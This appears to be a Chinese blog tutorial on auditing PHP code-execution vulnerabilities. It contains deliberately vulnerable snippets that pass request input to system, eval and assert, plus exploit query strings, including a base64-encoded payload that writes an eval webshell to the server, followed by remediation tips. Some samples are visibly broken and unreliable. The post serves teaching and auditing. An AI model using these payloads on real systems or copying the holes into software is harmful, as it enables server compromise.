2020/1/28 PHP代码审计之代码执行漏洞
0x00代码执行原理
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。
通常会使用escapeshellarg对参数进行处理,但在低版本的PHP库函数中该函数存在漏洞(原因:Windows上未对反斜杠进行过滤),需要注意。
0x01 挖掘思路
1:用户能够控制函数输入
2:存在可执行的危险函数
0x02 常见危险函数
1:eval和assert函数
2:preg_replace函数
3:回调函数
4:动态函数执行
0x03 eval和assert函数代码实例
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);//eval($cmd);
echo "</pre>$cmd<pre>";
die;
}
?>
这里的话system可以执行代码,对来自cmd中获的变量没有过滤,导致代码执行。
exp:
?cmd=phpinfo();
0x04 回调函数
代码:
<?phpfunction callback(){
$x = $_GET['cmd'];
eval($x);//没做限制
}c
all_user_func(function 'callback',$x);//回调了函数
>?
常见回调函数:call_user_func() call_user_func_array()
array_map()等
上面代码分析一下,eval危险函数被封装在了callback全局函数中,我们在最后使用了
all_user_func(function 'callback',$x);
回调危险函数最后达到代码执行
还有一种简单的回调:
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
我们没有封装,而是直接使用了assert函数来进行回调,是的cmd中传入的代码执行。
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
0x05 动态函数执行
1:定义一个函数
2:将函数名(字符串)赋值给一个变量
2:使用变量名代替函数名动态调用函数
代码:
<?php
$_GET['a']($_GET['b']);//接受get请求a的参数作为一个函数,b是作为a函数里的参数
?>
exp:
?a=assert&b=phpinfo()
代码2:
<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func('');
?>
当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令
0x06 正则表达式
代码:
<?php
//普通字符作为原子
$pattern = '/abc/';
$str = 'abcdefghijklmn';
preg_match_all($pattern,$str,$res);//以数组形式存储
var_dump($res);//会以数组形式显示出来
?>

代码2:
//特殊符号的字符作为原子
$pattern = '/\[php\]/';
$str = '[php]12345';
preg_match_all($pattern,$str,$res);
var_dump($res);
结果:

这里特别说明一下,我们要对php转义一下,加上\如果不加:
$pattern = '/[php]/';
$str = '[php]12345';
preg_match_all($pattern,$str,$res);
var_dump($res);

这样就不算是这种模式匹配了
代码3:
//通用字符作为原子
$pattern1 = '/\d/'; //0-9
$pattern2 = '/\D/'; //a-zA-Z
$str = '123132asaaaaa222';
$preg_match_all($pattern2,$str,$res);
var_dump($res);
代码4:
//自定义原子
$pattern1 = '/[aj]sp/'; //匹配[aj]中任意一个字符作为原子的asp jsp
$str = 'jjjjspspspsp';
preg_match_all($pattern1,$str,$res);
var_dump($res);
代码5
//限定符
$pattern1 = '/go*gle/'; // *匹配掐面出现原子次数0次 1次或多次
$pattern2 = '/go+gle/'; // +匹配前面出现的原子1次或多次
$pattern3 = '/go?gle/'; // ?匹配前面出现的原子0次或1次
$str = 'google';
preg_match_all($pattern3,$str,$res);
var_dump($res);
这里限定符还有贪婪模式非贪婪模式,这里我大一就已经学过了,就不再提了。
代码6
//边界限定
$pattern1 = '/^abc/'; // ^匹配输入字符开始的位置,必须是abc形式的开头
$pattern2 = '/abc^/'; // ^匹配输入字符结尾的位置,必须是abc形式的结尾
$pattern3 = '/^abc$/'; // ^$只匹配某字符
$str = 'abc2342dfads';
preg_match_all($pattern3,$str,$res);
var_dump($res);
代码7
//反向引用
$pattern = '/\d{4}(-)\d{2}\\1\d{2}/'; // \\1代表第一个()缓冲区
$str = '2020-01-28';
preg_match_all($pattern,$str,$res)
;var_dump($res);

0x07 preg_replace
mixed preg_replace(mixde $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])
$pattern 正则匹配的内容 $pattern存在/e模式修正符修饰,允许代码执行
$replacement 用于替换的字符串或字符串数组
$subject 要进行搜索和替换的字符串或字符串数组
代码:
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>
这里我们需要注意2点:
/e模式
必须匹配到正则才能代码执行
代码2:
<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
**exp:
?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))**
最终执行命令"))?>
0x08 代码执行修复
尽量不要执行外部的应用程序或命令
使用自定义函数或函数库来替代外部应用程序或命令的功能
使用escappeshellarg函数来处理命令的参数
使用sare_mode_exec_dir来指定可执行的文件路径
将执行的参数做白名单限制,在代码或配置文件中限制某些参数
2020/1/28 PHP代码审计之代码执行漏洞的更多相关文章
- 2020/1/28 PHP代码审计之命令执行漏洞
0x00 命令执行漏洞原理 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行 ...
- PHP代码审计笔记--代码执行漏洞
漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞. 常见代码注射函数: 如:eval.preg_replace+/e.assert.call_user_func. ...
- 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
- 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
随机推荐
- 强制数据类型转换 字符串/数字/boolean
类型转换主要指,将其他数据类型转换为(String.Number.Boolean) 类型转换有显式类型转换 和隐式类型转换 显式类型转换 1.1转换为string 调用数据的 toString() 方 ...
- C++ 非白名单程序间接启动
主要的思路是不能用不受信任的程序直接参与创建进程,而是间接启动目标进程.比如你可以把目标程序创建快捷方式,然后设置快捷键.然后向桌面发快捷键的按键消息,目标程序就会被桌面程序启动.
- Java8集合框架——HashSet源码分析
本文的目录结构: 一.HashSet 的 Javadoc 文档注释和简要说明 二.HashSet 的内部实现:内部属性和构造函数 三.HashSet 的 add 操作和扩容 四.HashSet 的 r ...
- 二十、SAP中定义内表
一.内表相当于传统语言的多维数组的东西,定义一个内表有以下2个方式
- Essay写作的五大陷阱如何避免?
相信ESSAY写作对留学生来说印象非常深刻,由于国外不同的教育模式,老师动不动就是一篇essay.可是在大家都拥有相同的GMAT或者GPA以及雅思分数的情况下.大家如何才能够脱颖而出呢?下面BayDu ...
- springMvc接收json和返回json对象
导入三个包 页面: function sendJson(){ //请求json响应json $.ajax({ type:"post", url: "${pageConte ...
- 第十三篇Django Logging配置样例
第十三篇Django Logging配置样例 阅读目录(Content) Django 日志配置模板 官方链接 Django Logging Django 日志配置模板 LOGGING = { 've ...
- 关于数据库text字段
问题描述: maven项目中,使用MBG代码生成器自动生成的实体类对象时,当数据库中表的字段有 text 类型时,对应到java类中是String类型的,在前端页面通过ajax获取到 json 格式的 ...
- 《百面机器学习算法工程师带你去面试》高清PDF及epub+《美团机器学习实践》PDF及思维导图
http://blog.sina.com.cn/s/blog_ecd882db0102yuek.html <百面机器学习算法工程师带你去面试>高清PDF及epub+<美团机器学习实践 ...
- idea导入新项目后右键main方法没有Run xxx.main()
刚安装的idea2019.1,基本上没有什么配置.导入从github clone下来的工程.鼠标右键main方法时没有发现 run 选项,如下图所示: 这里是配置有问题造成的,对比下正常的工程,可以发 ...